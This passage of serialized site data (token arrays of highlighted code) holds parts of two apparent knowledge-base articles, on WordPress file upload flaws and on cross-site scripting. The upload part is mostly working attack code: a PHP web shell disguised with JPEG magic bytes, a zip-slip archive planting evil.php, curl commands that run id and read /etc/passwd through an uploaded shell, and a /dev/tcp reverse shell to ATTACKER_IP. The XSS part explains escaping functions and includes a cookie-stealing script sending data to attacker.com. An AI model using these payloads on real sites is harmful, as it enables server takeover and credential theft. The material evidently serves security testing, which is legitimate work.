'file=@\u002Fpath\u002Fto\u002Ftest.jpg'",[36,17303,155],{"class":95},[36,17305,17306,17309,17311,17313,17315,17318],{"class":38,"line":115},[36,17307,17308],{"class":95},"  -v",[36,17310,13311],{"class":102},[36,17312,103],{"class":102},[36,17314,617],{"class":49},[36,17316,17317],{"class":95}," -E",[36,17319,17320],{"class":53}," \"\u003C HTTP|url|file|error\"\n",[36,17322,17323],{"class":38,"line":133},[36,17324,61],{"emptyLinePlaceholder":60},[36,17326,17327],{"class":38,"line":138},[36,17328,17329],{"class":42},"# Upload with custom filename\n",[36,17331,17332,17334,17336,17338,17340,17342,17344],{"class":38,"line":144},[36,17333,92],{"class":49},[36,17335,96],{"class":95},[36,17337,709],{"class":95},[36,17339,712],{"class":53},[36,17341,792],{"class":95},[36,17343,795],{"class":53},[36,17345,155],{"class":95},[36,17347,17348,17350,17352,17354],{"class":38,"line":158},[36,17349,3113],{"class":53},[36,17351,1911],{"class":605},[36,17353,4404],{"class":53},[36,17355,155],{"class":95},[36,17357,17358,17360,17362],{"class":38,"line":255},[36,17359,16104],{"class":95},[36,17361,16389],{"class":53},[36,17363,155],{"class":95},[36,17365,17366,17368,17370],{"class":38,"line":261},[36,17367,16104],{"class":95},[36,17369,17292],{"class":53},[36,17371,155],{"class":95},[36,17373,17374,17376],{"class":38,"line":267},[36,17375,16104],{"class":95},[36,17377,17378],{"class":53}," 'file=@\u002Ftmp\u002Ftest.jpg;filename=custom_name.jpg'\n",[36,17380,17381],{"class":38,"line":273},[36,17382,61],{"emptyLinePlaceholder":60},[36,17384,17385],{"class":38,"line":279},[36,17386,17387],{"class":42},"# Upload WordPress media via REST API\n",[36,17389,17390,17392,17394,17396,17398,17400,17402],{"class":38,"line":285},[36,17391,92],{"class":49},[36,17393,96],{"class":95},[36,17395,467],{"class":95},[36,17397,470],{"class":53},[36,17399,792],{"class":95},[36,17401,795],{"class":53},[36,17403,155],{"class":95},[36,17405,17406,17408,17410,17413],{"class":38,"line":291},[36,17407,3113],{"class":53},[36,17409,1911],{"class":605},[36,17411,17412],{"class":53},"\u002Fwp-json\u002Fwp\u002Fv2\u002Fmedia\"",[36,17414,155],{"class":95},[36,17416,17417,17419,17422],{"class":38,"line":297},[36,17418,755],{"class":95},[36,17420,17421],{"class":53}," 'Content-Disposition: attachment; filename=test.jpg'",[36,17423,155],{"class":95},[36,17425,17426,17428,17431],{"class":38,"line":303},[36,17427,755],{"class":95},[36,17429,17430],{"class":53}," 'Content-Type: image\u002Fjpeg'",[36,17432,155],{"class":95},[36,17434,17435,17438],{"class":38,"line":308},[36,17436,17437],{"class":95},"  --data-binary",[36,17439,17440],{"class":53}," @\u002Ftmp\u002Ftest.jpg\n",[684,17442,17444],{"id":17443},"testing-mime-bypass","Testing MIME Bypass",[26,17446,17448],{"className":28,"code":17447,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\nTARGET=\"https:\u002F\u002Ftarget.example.com\"\nACTION=\"upload_file\"\nNONCE=\"EXTRACTED_NONCE\"\n\n# Create a PHP file with JPEG magic bytes\npython3 \u003C\u003C 'EOF'\n# JPEG magic bytes: FF D8 FF E0\nwith open('\u002Ftmp\u002Fshell_with_jpeg_header.php', 'wb') as f:\n    f.write(b'\\xff\\xd8\\xff\\xe0')  # JPEG header\n    f.write(b'\\n\u003C?php system($_GET[\"cmd\"]); ?>\\n')\nEOF\n\n# Upload with image MIME type\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  -F \"action=$ACTION\" \\\n  -F \"nonce=$NONCE\" \\\n  -F 'file=@\u002Ftmp\u002Fshell_with_jpeg_header.php;filename=image.php;type=image\u002Fjpeg'\n",[33,17449,17450,17454,17462,17472,17481,17485,17490,17498,17503,17508,17513,17518,17522,17526,17531,17553,17566,17579],{"__ignoreMap":31},[36,17451,17452],{"class":38,"line":39},[36,17453,4257],{"class":42},[36,17455,17456,17458,17460],{"class":38,"line":46},[36,17457,1886],{"class":605},[36,17459,1220],{"class":102},[36,17461,1891],{"class":53},[36,17463,17464,17467,17469],{"class":38,"line":57},[36,17465,17466],{"class":605},"ACTION",[36,17468,1220],{"class":102},[36,17470,17471],{"class":53},"\"upload_file\"\n",[36,17473,17474,17476,17478],{"class":38,"line":64},[36,17475,5752],{"class":605},[36,17477,1220],{"class":102},[36,17479,17480],{"class":53},"\"EXTRACTED_NONCE\"\n",[36,17482,17483],{"class":38,"line":70},[36,17484,61],{"emptyLinePlaceholder":60},[36,17486,17487],{"class":38,"line":78},[36,17488,17489],{"class":42},"# Create a PHP file with JPEG magic bytes\n",[36,17491,17492,17494,17496],{"class":38,"line":83},[36,17493,11932],{"class":49},[36,17495,16137],{"class":102},[36,17497,16140],{"class":53},[36,17499,17500],{"class":38,"line":89},[36,17501,17502],{"class":53},"# JPEG magic bytes: FF D8 FF E0\n",[36,17504,17505],{"class":38,"line":115},[36,17506,17507],{"class":53},"with open('\u002Ftmp\u002Fshell_with_jpeg_header.php', 'wb') as f:\n",[36,17509,17510],{"class":38,"line":133},[36,17511,17512],{"class":53},"    f.write(b'\\xff\\xd8\\xff\\xe0')  # JPEG header\n",[36,17514,17515],{"class":38,"line":138},[36,17516,17517],{"class":53},"    f.write(b'\\n\u003C?php system($_GET[\"cmd\"]); ?>\\n')\n",[36,17519,17520],{"class":38,"line":144},[36,17521,16150],{"class":53},[36,17523,17524],{"class":38,"line":158},[36,17525,61],{"emptyLinePlaceholder":60},[36,17527,17528],{"class":38,"line":255},[36,17529,17530],{"class":42},"# Upload with image MIME type\n",[36,17532,17533,17535,17537,17539,17541,17543,17545,17547,17549,17551],{"class":38,"line":261},[36,17534,92],{"class":49},[36,17536,96],{"class":95},[36,17538,709],{"class":95},[36,17540,712],{"class":53},[36,17542,792],{"class":95},[36,17544,795],{"class":53},[36,17546,625],{"class":53},[36,17548,1911],{"class":605},[36,17550,4404],{"class":53},[36,17552,155],{"class":95},[36,17554,17555,17557,17559,17562,17564],{"class":38,"line":267},[36,17556,16104],{"class":95},[36,17558,4414],{"class":53},[36,17560,17561],{"class":605},"$ACTION",[36,17563,631],{"class":53},[36,17565,155],{"class":95},[36,17567,17568,17570,17573,17575,17577],{"class":38,"line":273},[36,17569,16104],{"class":95},[36,17571,17572],{"class":53}," \"nonce=",[36,17574,5806],{"class":605},[36,17576,631],{"class":53},[36,17578,155],{"class":95},[36,17580,17581,17583],{"class":38,"line":279},[36,17582,16104],{"class":95},[36,17584,17585],{"class":53}," 'file=@\u002Ftmp\u002Fshell_with_jpeg_header.php;filename=image.php;type=image\u002Fjpeg'\n",[684,17587,17589],{"id":17588},"testing-for-zip-slip-via-wordpress-media-upload","Testing for Zip Slip via WordPress Media Upload",[26,17591,17593],{"className":28,"code":17592,"language":30,"meta":31,"style":31},"# Generate zip slip via Python\npython3 \u003C\u003C 'EOF'\nimport zipfile\n\nmalicious = zipfile.ZipFile('\u002Ftmp\u002Fmalicious.zip', 'w')\n# The path traversal name\ninfo = zipfile.ZipInfo('..\u002F..\u002F..\u002F..\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fevil.php')\nmalicious.writestr(info, '\u003C?php system($_GET[\"c\"]); ?>')\nmalicious.close()\nprint(\"Zip slip payload created\")\nEOF\n\ncurl -s -b \u002Ftmp\u002Fwp_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' \\\n  -F 'action=import_file' \\\n  -F 'nonce=NONCE' \\\n  -F 'import=@\u002Ftmp\u002Fmalicious.zip;type=application\u002Fzip'\n",[33,17594,17595,17600,17608,17612,17616,17621,17626,17631,17636,17641,17646,17650,17654,17670,17676,17685,17693],{"__ignoreMap":31},[36,17596,17597],{"class":38,"line":39},[36,17598,17599],{"class":42},"# Generate zip slip via Python\n",[36,17601,17602,17604,17606],{"class":38,"line":46},[36,17603,11932],{"class":49},[36,17605,16137],{"class":102},[36,17607,16140],{"class":53},[36,17609,17610],{"class":38,"line":57},[36,17611,16988],{"class":53},[36,17613,17614],{"class":38,"line":64},[36,17615,61],{"emptyLinePlaceholder":60},[36,17617,17618],{"class":38,"line":70},[36,17619,17620],{"class":53},"malicious = zipfile.ZipFile('\u002Ftmp\u002Fmalicious.zip', 'w')\n",[36,17622,17623],{"class":38,"line":78},[36,17624,17625],{"class":53},"# The path traversal name\n",[36,17627,17628],{"class":38,"line":83},[36,17629,17630],{"class":53},"info = zipfile.ZipInfo('..\u002F..\u002F..\u002F..\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fevil.php')\n",[36,17632,17633],{"class":38,"line":89},[36,17634,17635],{"class":53},"malicious.writestr(info, '\u003C?php system($_GET[\"c\"]); ?>')\n",[36,17637,17638],{"class":38,"line":115},[36,17639,17640],{"class":53},"malicious.close()\n",[36,17642,17643],{"class":38,"line":133},[36,17644,17645],{"class":53},"print(\"Zip slip payload created\")\n",[36,17647,17648],{"class":38,"line":138},[36,17649,16150],{"class":53},[36,17651,17652],{"class":38,"line":144},[36,17653,61],{"emptyLinePlaceholder":60},[36,17655,17656,17658,17660,17662,17664,17666,17668],{"class":38,"line":158},[36,17657,92],{"class":49},[36,17659,96],{"class":95},[36,17661,709],{"class":95},[36,17663,712],{"class":53},[36,17665,792],{"class":95},[36,17667,795],{"class":53},[36,17669,155],{"class":95},[36,17671,17672,17674],{"class":38,"line":255},[36,17673,3329],{"class":53},[36,17675,155],{"class":95},[36,17677,17678,17680,17683],{"class":38,"line":261},[36,17679,16104],{"class":95},[36,17681,17682],{"class":53}," 'action=import_file'",[36,17684,155],{"class":95},[36,17686,17687,17689,17691],{"class":38,"line":267},[36,17688,16104],{"class":95},[36,17690,16552],{"class":53},[36,17692,155],{"class":95},[36,17694,17695,17697],{"class":38,"line":273},[36,17696,16104],{"class":95},[36,17698,17699],{"class":53}," 'import=@\u002Ftmp\u002Fmalicious.zip;type=application\u002Fzip'\n",[18,17701,17703],{"id":17702},"checking-if-uploaded-shells-execute","Checking if Uploaded Shells Execute",[26,17705,17707],{"className":28,"code":17706,"language":30,"meta":31,"style":31},"UPLOAD_URL=\"https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002Fshell.php\"\n\n# Basic execution check\ncurl -s \"$UPLOAD_URL?cmd=id\"\ncurl -s \"$UPLOAD_URL?cmd=whoami\"\ncurl -s \"$UPLOAD_URL?cmd=cat+\u002Fetc\u002Fpasswd\"\n\n# If shell is PHP system() based\ncurl -s \"$UPLOAD_URL?cmd=ls+-la+\u002Fvar\u002Fwww\u002Fhtml\u002F\"\n\n# Reverse shell trigger\ncurl -s \"$UPLOAD_URL?cmd=bash+-i+>%26+\u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444+0>%261\"\n\n# Check if directory listing is available (sometimes faster than shell)\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F' | \\\n  grep -oP 'href=\"[^\"]*\\.php[^\"]*\"'\n",[33,17708,17709,17719,17723,17728,17742,17755,17768,17772,17777,17790,17794,17799,17812,17816,17821,17834],{"__ignoreMap":31},[36,17710,17711,17714,17716],{"class":38,"line":39},[36,17712,17713],{"class":605},"UPLOAD_URL",[36,17715,1220],{"class":102},[36,17717,17718],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002Fshell.php\"\n",[36,17720,17721],{"class":38,"line":46},[36,17722,61],{"emptyLinePlaceholder":60},[36,17724,17725],{"class":38,"line":57},[36,17726,17727],{"class":42},"# Basic execution check\n",[36,17729,17730,17732,17734,17736,17739],{"class":38,"line":64},[36,17731,92],{"class":49},[36,17733,96],{"class":95},[36,17735,625],{"class":53},[36,17737,17738],{"class":605},"$UPLOAD_URL",[36,17740,17741],{"class":53},"?cmd=id\"\n",[36,17743,17744,17746,17748,17750,17752],{"class":38,"line":70},[36,17745,92],{"class":49},[36,17747,96],{"class":95},[36,17749,625],{"class":53},[36,17751,17738],{"class":605},[36,17753,17754],{"class":53},"?cmd=whoami\"\n",[36,17756,17757,17759,17761,17763,17765],{"class":38,"line":78},[36,17758,92],{"class":49},[36,17760,96],{"class":95},[36,17762,625],{"class":53},[36,17764,17738],{"class":605},[36,17766,17767],{"class":53},"?cmd=cat+\u002Fetc\u002Fpasswd\"\n",[36,17769,17770],{"class":38,"line":83},[36,17771,61],{"emptyLinePlaceholder":60},[36,17773,17774],{"class":38,"line":89},[36,17775,17776],{"class":42},"# If shell is PHP system() based\n",[36,17778,17779,17781,17783,17785,17787],{"class":38,"line":115},[36,17780,92],{"class":49},[36,17782,96],{"class":95},[36,17784,625],{"class":53},[36,17786,17738],{"class":605},[36,17788,17789],{"class":53},"?cmd=ls+-la+\u002Fvar\u002Fwww\u002Fhtml\u002F\"\n",[36,17791,17792],{"class":38,"line":133},[36,17793,61],{"emptyLinePlaceholder":60},[36,17795,17796],{"class":38,"line":138},[36,17797,17798],{"class":42},"# Reverse shell trigger\n",[36,17800,17801,17803,17805,17807,17809],{"class":38,"line":144},[36,17802,92],{"class":49},[36,17804,96],{"class":95},[36,17806,625],{"class":53},[36,17808,17738],{"class":605},[36,17810,17811],{"class":53},"?cmd=bash+-i+>%26+\u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444+0>%261\"\n",[36,17813,17814],{"class":38,"line":158},[36,17815,61],{"emptyLinePlaceholder":60},[36,17817,17818],{"class":38,"line":255},[36,17819,17820],{"class":42},"# Check if directory listing is available (sometimes faster than shell)\n",[36,17822,17823,17825,17827,17830,17832],{"class":38,"line":261},[36,17824,92],{"class":49},[36,17826,96],{"class":95},[36,17828,17829],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F'",[36,17831,103],{"class":102},[36,17833,155],{"class":95},[36,17835,17836,17838,17840],{"class":38,"line":267},[36,17837,552],{"class":49},[36,17839,726],{"class":95},[36,17841,17842],{"class":53}," 'href=\"[^\"]*\\.php[^\"]*\"'\n",[18,17844,17846],{"id":17845},"defense-mechanisms-and-how-to-test-them","Defense Mechanisms and How to Test Them",[26,17848,17850],{"className":28,"code":17849,"language":30,"meta":31,"style":31},"# Check if uploads directory has PHP execution blocked\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002Ftest.php'\n# 403 = .htaccess blocks execution (standard WordPress protection)\n# 404 = file doesn't exist\n# 200 = PHP MAY execute (test with actual PHP file)\n\n# Check .htaccess in uploads directory\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F.htaccess'\n# Standard WordPress uploads .htaccess:\n# deny from all\n# \u003CFiles ~ \"^.*\\.(jpe?g|gif|png|webp|svg|mp4)$\">\n#   allow from all\n# \u003C\u002FFiles>\n",[33,17851,17852,17857,17873,17878,17883,17888,17893,17897,17902,17911,17916,17921,17926,17931],{"__ignoreMap":31},[36,17853,17854],{"class":38,"line":39},[36,17855,17856],{"class":42},"# Check if uploads directory has PHP execution blocked\n",[36,17858,17859,17861,17863,17865,17867,17869,17871],{"class":38,"line":46},[36,17860,92],{"class":49},[36,17862,96],{"class":95},[36,17864,2107],{"class":95},[36,17866,2110],{"class":53},[36,17868,2113],{"class":95},[36,17870,2116],{"class":53},[36,17872,155],{"class":95},[36,17874,17875],{"class":38,"line":57},[36,17876,17877],{"class":53},"  'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002Ftest.php'\n",[36,17879,17880],{"class":38,"line":64},[36,17881,17882],{"class":42},"# 403 = .htaccess blocks execution (standard WordPress protection)\n",[36,17884,17885],{"class":38,"line":70},[36,17886,17887],{"class":42},"# 404 = file doesn't exist\n",[36,17889,17890],{"class":38,"line":78},[36,17891,17892],{"class":42},"# 200 = PHP MAY execute (test with actual PHP file)\n",[36,17894,17895],{"class":38,"line":83},[36,17896,61],{"emptyLinePlaceholder":60},[36,17898,17899],{"class":38,"line":89},[36,17900,17901],{"class":42},"# Check .htaccess in uploads directory\n",[36,17903,17904,17906,17908],{"class":38,"line":115},[36,17905,92],{"class":49},[36,17907,96],{"class":95},[36,17909,17910],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fwp-content\u002Fuploads\u002F.htaccess'\n",[36,17912,17913],{"class":38,"line":133},[36,17914,17915],{"class":42},"# Standard WordPress uploads .htaccess:\n",[36,17917,17918],{"class":38,"line":138},[36,17919,17920],{"class":42},"# deny from all\n",[36,17922,17923],{"class":38,"line":144},[36,17924,17925],{"class":42},"# \u003CFiles ~ \"^.*\\.(jpe?g|gif|png|webp|svg|mp4)$\">\n",[36,17927,17928],{"class":38,"line":158},[36,17929,17930],{"class":42},"#   allow from all\n",[36,17932,17933],{"class":38,"line":255},[36,17934,17935],{"class":42},"# \u003C\u002FFiles>\n",[2645,17937,12922],{},{"title":31,"searchDepth":46,"depth":46,"links":17939},[17940,17941,17942,17943,17944,17953,17954,17959,17960],{"id":15480,"depth":46,"text":15481},{"id":15526,"depth":46,"text":15527},{"id":15666,"depth":46,"text":15667},{"id":15736,"depth":46,"text":15737},{"id":16004,"depth":46,"text":16005,"children":17945},[17946,17947,17948,17949,17950,17951,17952],{"id":16008,"depth":57,"text":16009},{"id":16153,"depth":57,"text":16154},{"id":16274,"depth":57,"text":16275},{"id":16419,"depth":57,"text":16420},{"id":16573,"depth":57,"text":16574},{"id":16752,"depth":57,"text":16753},{"id":16915,"depth":57,"text":16916},{"id":17083,"depth":46,"text":17084},{"id":17224,"depth":46,"text":17225,"children":17955},[17956,17957,17958],{"id":17228,"depth":57,"text":17229},{"id":17443,"depth":57,"text":17444},{"id":17588,"depth":57,"text":17589},{"id":17702,"depth":46,"text":17703},{"id":17845,"depth":46,"text":17846},"wp_handle_upload internals, MIME bypass techniques, unrestricted upload exploitation, and testing upload endpoints with curl",{},"\u002Fknowledge-base\u002Fwordpress-file-upload-vulnerabilities",{"title":15469,"description":17961},"knowledge-base\u002Fwordpress-file-upload-vulnerabilities","1vJqO_96lZmbmqXtYWqibOVoOLdH9oOev7HZnqv8qjM",{"id":17968,"title":17969,"body":17970,"category":12952,"description":20227,"extension":2673,"meta":20228,"navigation":60,"order":83,"path":20229,"seo":20230,"stem":20231,"__hash__":20232},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-cross-site-scripting.md","WordPress Cross-Site Scripting",{"type":7,"value":17971,"toc":20201},[17972,17975,17978,17982,17985,17989,18018,18022,18051,18055,18103,18107,18150,18154,18227,18231,18235,18277,18280,18321,18323,18405,18409,18503,18553,18557,18620,18623,18629,18636,18690,18694,18737,18781,18785,18788,18858,18861,18901,18905,18908,18958,19084,19088,19091,19146,19149,19155,19159,19163,19212,19216,19305,19309,19373,19377,19787,19791,20052,20056,20193,20199],[10,17973,17969],{"id":17974},"wordpress-cross-site-scripting",[14,17976,17977],{},"Cross-site scripting in WordPress plugins and themes is one of the most commonly reported vulnerability classes. The impact ranges from defacement to full site takeover when an admin user triggers a stored XSS payload. Understanding WordPress's escaping functions and where they are commonly omitted is essential.",[18,17979,17981],{"id":17980},"wordpress-escaping-functions","WordPress Escaping Functions",[14,17983,17984],{},"WordPress provides context-specific escaping functions that should be used for all output:",[684,17986,17988],{"id":17987},"for-html-content","For HTML Content",[26,17990,17992],{"className":177,"code":17991,"language":179,"meta":31,"style":31},"\u002F\u002F Escapes HTML entities: \u003C > \" ' &\necho esc_html( $user_input );\n\n\u002F\u002F Example output: &lt;script&gt;alert(1)&lt;\u002Fscript&gt;\n\u002F\u002F Appropriate for: text node content, not attribute values\n",[33,17993,17994,17999,18004,18008,18013],{"__ignoreMap":31},[36,17995,17996],{"class":38,"line":39},[36,17997,17998],{},"\u002F\u002F Escapes HTML entities: \u003C > \" ' &\n",[36,18000,18001],{"class":38,"line":46},[36,18002,18003],{},"echo esc_html( $user_input );\n",[36,18005,18006],{"class":38,"line":57},[36,18007,61],{"emptyLinePlaceholder":60},[36,18009,18010],{"class":38,"line":64},[36,18011,18012],{},"\u002F\u002F Example output: &lt;script&gt;alert(1)&lt;\u002Fscript&gt;\n",[36,18014,18015],{"class":38,"line":70},[36,18016,18017],{},"\u002F\u002F Appropriate for: text node content, not attribute values\n",[684,18019,18021],{"id":18020},"for-html-attributes","For HTML Attributes",[26,18023,18025],{"className":177,"code":18024,"language":179,"meta":31,"style":31},"\u002F\u002F Same as esc_html but also escapes ' and handles attribute context\necho '\u003Cinput value=\"' . esc_attr( $user_input ) . '\">';\n\n\u002F\u002F Prevents attribute breakout: value=\"value\" onmouseover=\"attack()\"\n\u002F\u002F The quotes and special chars are escaped\n",[33,18026,18027,18032,18037,18041,18046],{"__ignoreMap":31},[36,18028,18029],{"class":38,"line":39},[36,18030,18031],{},"\u002F\u002F Same as esc_html but also escapes ' and handles attribute context\n",[36,18033,18034],{"class":38,"line":46},[36,18035,18036],{},"echo '\u003Cinput value=\"' . esc_attr( $user_input ) . '\">';\n",[36,18038,18039],{"class":38,"line":57},[36,18040,61],{"emptyLinePlaceholder":60},[36,18042,18043],{"class":38,"line":64},[36,18044,18045],{},"\u002F\u002F Prevents attribute breakout: value=\"value\" onmouseover=\"attack()\"\n",[36,18047,18048],{"class":38,"line":70},[36,18049,18050],{},"\u002F\u002F The quotes and special chars are escaped\n",[684,18052,18054],{"id":18053},"for-urls","For URLs",[26,18056,18058],{"className":177,"code":18057,"language":179,"meta":31,"style":31},"\u002F\u002F Validates URL structure and encodes dangerous characters\necho '\u003Ca href=\"' . esc_url( $user_input ) . '\">';\n\n\u002F\u002F Blocks: javascript: protocol, data: URIs\n\u002F\u002F Allows: https:\u002F\u002F, http:\u002F\u002F, relative paths\necho esc_url( 'javascript:alert(1)' ); \u002F\u002F Returns empty string\n\n\u002F\u002F esc_url_raw() - for database storage (doesn't encode ampersands)\n$url = esc_url_raw( $_POST['redirect_url'] );\n",[33,18059,18060,18065,18070,18074,18079,18084,18089,18093,18098],{"__ignoreMap":31},[36,18061,18062],{"class":38,"line":39},[36,18063,18064],{},"\u002F\u002F Validates URL structure and encodes dangerous characters\n",[36,18066,18067],{"class":38,"line":46},[36,18068,18069],{},"echo '\u003Ca href=\"' . esc_url( $user_input ) . '\">';\n",[36,18071,18072],{"class":38,"line":57},[36,18073,61],{"emptyLinePlaceholder":60},[36,18075,18076],{"class":38,"line":64},[36,18077,18078],{},"\u002F\u002F Blocks: javascript: protocol, data: URIs\n",[36,18080,18081],{"class":38,"line":70},[36,18082,18083],{},"\u002F\u002F Allows: https:\u002F\u002F, http:\u002F\u002F, relative paths\n",[36,18085,18086],{"class":38,"line":78},[36,18087,18088],{},"echo esc_url( 'javascript:alert(1)' ); \u002F\u002F Returns empty string\n",[36,18090,18091],{"class":38,"line":83},[36,18092,61],{"emptyLinePlaceholder":60},[36,18094,18095],{"class":38,"line":89},[36,18096,18097],{},"\u002F\u002F esc_url_raw() - for database storage (doesn't encode ampersands)\n",[36,18099,18100],{"class":38,"line":115},[36,18101,18102],{},"$url = esc_url_raw( $_POST['redirect_url'] );\n",[684,18104,18106],{"id":18105},"for-javascript","For JavaScript",[26,18108,18110],{"className":177,"code":18109,"language":179,"meta":31,"style":31},"\u002F\u002F Encodes for use inside JavaScript strings (JSON encoding)\n$data = json_encode( $php_var );\necho '\u003Cscript>var data = ' . $data . ';\u003C\u002Fscript>';\n\n\u002F\u002F Or use wp_json_encode (handles edge cases better)\necho '\u003Cscript>var data = ' . wp_json_encode( $php_var ) . ';\u003C\u002Fscript>';\n\n\u002F\u002F NEVER: echo '\u003Cscript>var x = \"' . $user_input . '\";\u003C\u002Fscript>';\n",[33,18111,18112,18117,18122,18127,18131,18136,18141,18145],{"__ignoreMap":31},[36,18113,18114],{"class":38,"line":39},[36,18115,18116],{},"\u002F\u002F Encodes for use inside JavaScript strings (JSON encoding)\n",[36,18118,18119],{"class":38,"line":46},[36,18120,18121],{},"$data = json_encode( $php_var );\n",[36,18123,18124],{"class":38,"line":57},[36,18125,18126],{},"echo '\u003Cscript>var data = ' . $data . ';\u003C\u002Fscript>';\n",[36,18128,18129],{"class":38,"line":64},[36,18130,61],{"emptyLinePlaceholder":60},[36,18132,18133],{"class":38,"line":70},[36,18134,18135],{},"\u002F\u002F Or use wp_json_encode (handles edge cases better)\n",[36,18137,18138],{"class":38,"line":78},[36,18139,18140],{},"echo '\u003Cscript>var data = ' . wp_json_encode( $php_var ) . ';\u003C\u002Fscript>';\n",[36,18142,18143],{"class":38,"line":83},[36,18144,61],{"emptyLinePlaceholder":60},[36,18146,18147],{"class":38,"line":89},[36,18148,18149],{},"\u002F\u002F NEVER: echo '\u003Cscript>var x = \"' . $user_input . '\";\u003C\u002Fscript>';\n",[684,18151,18153],{"id":18152},"wp_kses-allowed-html","wp_kses - Allowed HTML",[26,18155,18157],{"className":177,"code":18156,"language":179,"meta":31,"style":31},"\u002F\u002F Strip all HTML except allowed tags\u002Fattributes\n$allowed_html = [\n    'a'      => ['href' => [], 'title' => []],\n    'strong' => [],\n    'em'     => [],\n    'p'      => [],\n];\necho wp_kses( $user_input, $allowed_html );\n\n\u002F\u002F wp_kses_post - uses the allowed HTML for post content\necho wp_kses_post( $content );\n\n\u002F\u002F wp_kses_data - minimal allowed HTML\necho wp_kses_data( $content );\n",[33,18158,18159,18164,18169,18174,18179,18184,18189,18194,18199,18203,18208,18213,18217,18222],{"__ignoreMap":31},[36,18160,18161],{"class":38,"line":39},[36,18162,18163],{},"\u002F\u002F Strip all HTML except allowed tags\u002Fattributes\n",[36,18165,18166],{"class":38,"line":46},[36,18167,18168],{},"$allowed_html = [\n",[36,18170,18171],{"class":38,"line":57},[36,18172,18173],{},"    'a'      => ['href' => [], 'title' => []],\n",[36,18175,18176],{"class":38,"line":64},[36,18177,18178],{},"    'strong' => [],\n",[36,18180,18181],{"class":38,"line":70},[36,18182,18183],{},"    'em'     => [],\n",[36,18185,18186],{"class":38,"line":78},[36,18187,18188],{},"    'p'      => [],\n",[36,18190,18191],{"class":38,"line":83},[36,18192,18193],{},"];\n",[36,18195,18196],{"class":38,"line":89},[36,18197,18198],{},"echo wp_kses( $user_input, $allowed_html );\n",[36,18200,18201],{"class":38,"line":115},[36,18202,61],{"emptyLinePlaceholder":60},[36,18204,18205],{"class":38,"line":133},[36,18206,18207],{},"\u002F\u002F wp_kses_post - uses the allowed HTML for post content\n",[36,18209,18210],{"class":38,"line":138},[36,18211,18212],{},"echo wp_kses_post( $content );\n",[36,18214,18215],{"class":38,"line":144},[36,18216,61],{"emptyLinePlaceholder":60},[36,18218,18219],{"class":38,"line":158},[36,18220,18221],{},"\u002F\u002F wp_kses_data - minimal allowed HTML\n",[36,18223,18224],{"class":38,"line":255},[36,18225,18226],{},"echo wp_kses_data( $content );\n",[18,18228,18230],{"id":18229},"stored-xss-patterns","Stored XSS Patterns",[684,18232,18234],{"id":18233},"pattern-1-unescaped-option-value-output","Pattern 1: Unescaped Option Value Output",[26,18236,18238],{"className":177,"code":18237,"language":179,"meta":31,"style":31},"\u002F\u002F Plugin saves option without escaping\nupdate_option( 'plugin_header_text', $_POST['header_text'] );\n\n\u002F\u002F And outputs it without escaping\nadd_action( 'wp_head', function() {\n    $header = get_option( 'plugin_header_text' );\n    echo '\u003Cdiv class=\"header\">' . $header . '\u003C\u002Fdiv>'; \u002F\u002F XSS\n});\n",[33,18239,18240,18245,18250,18254,18259,18263,18268,18273],{"__ignoreMap":31},[36,18241,18242],{"class":38,"line":39},[36,18243,18244],{},"\u002F\u002F Plugin saves option without escaping\n",[36,18246,18247],{"class":38,"line":46},[36,18248,18249],{},"update_option( 'plugin_header_text', $_POST['header_text'] );\n",[36,18251,18252],{"class":38,"line":57},[36,18253,61],{"emptyLinePlaceholder":60},[36,18255,18256],{"class":38,"line":64},[36,18257,18258],{},"\u002F\u002F And outputs it without escaping\n",[36,18260,18261],{"class":38,"line":70},[36,18262,5445],{},[36,18264,18265],{"class":38,"line":78},[36,18266,18267],{},"    $header = get_option( 'plugin_header_text' );\n",[36,18269,18270],{"class":38,"line":83},[36,18271,18272],{},"    echo '\u003Cdiv class=\"header\">' . $header . '\u003C\u002Fdiv>'; \u002F\u002F XSS\n",[36,18274,18275],{"class":38,"line":89},[36,18276,300],{},[14,18278,18279],{},"Payload:",[26,18281,18283],{"className":7049,"code":18282,"language":7051,"meta":31,"style":31},"\u003Cscript>\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal?c='+encodeURIComponent(document.cookie));\n\u003C\u002Fscript>\n",[33,18284,18285,18293,18313],{"__ignoreMap":31},[36,18286,18287,18289,18291],{"class":38,"line":39},[36,18288,7058],{"class":605},[36,18290,7062],{"class":7061},[36,18292,7065],{"class":605},[36,18294,18295,18298,18301,18304,18307,18310],{"class":38,"line":46},[36,18296,18297],{"class":49},"fetch",[36,18299,18300],{"class":605},"(",[36,18302,18303],{"class":53},"'https:\u002F\u002Fattacker.com\u002Fsteal?c='",[36,18305,18306],{"class":102},"+",[36,18308,18309],{"class":49},"encodeURIComponent",[36,18311,18312],{"class":605},"(document.cookie));\n",[36,18314,18315,18317,18319],{"class":38,"line":57},[36,18316,7122],{"class":605},[36,18318,7062],{"class":7061},[36,18320,7065],{"class":605},[14,18322,3495],{},[26,18324,18326],{"className":28,"code":18325,"language":30,"meta":31,"style":31},"# Store XSS payload in plugin setting\ncurl -s -b \u002Ftmp\u002Fsubscriber_cookies.txt -X POST \\\n  'https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php' 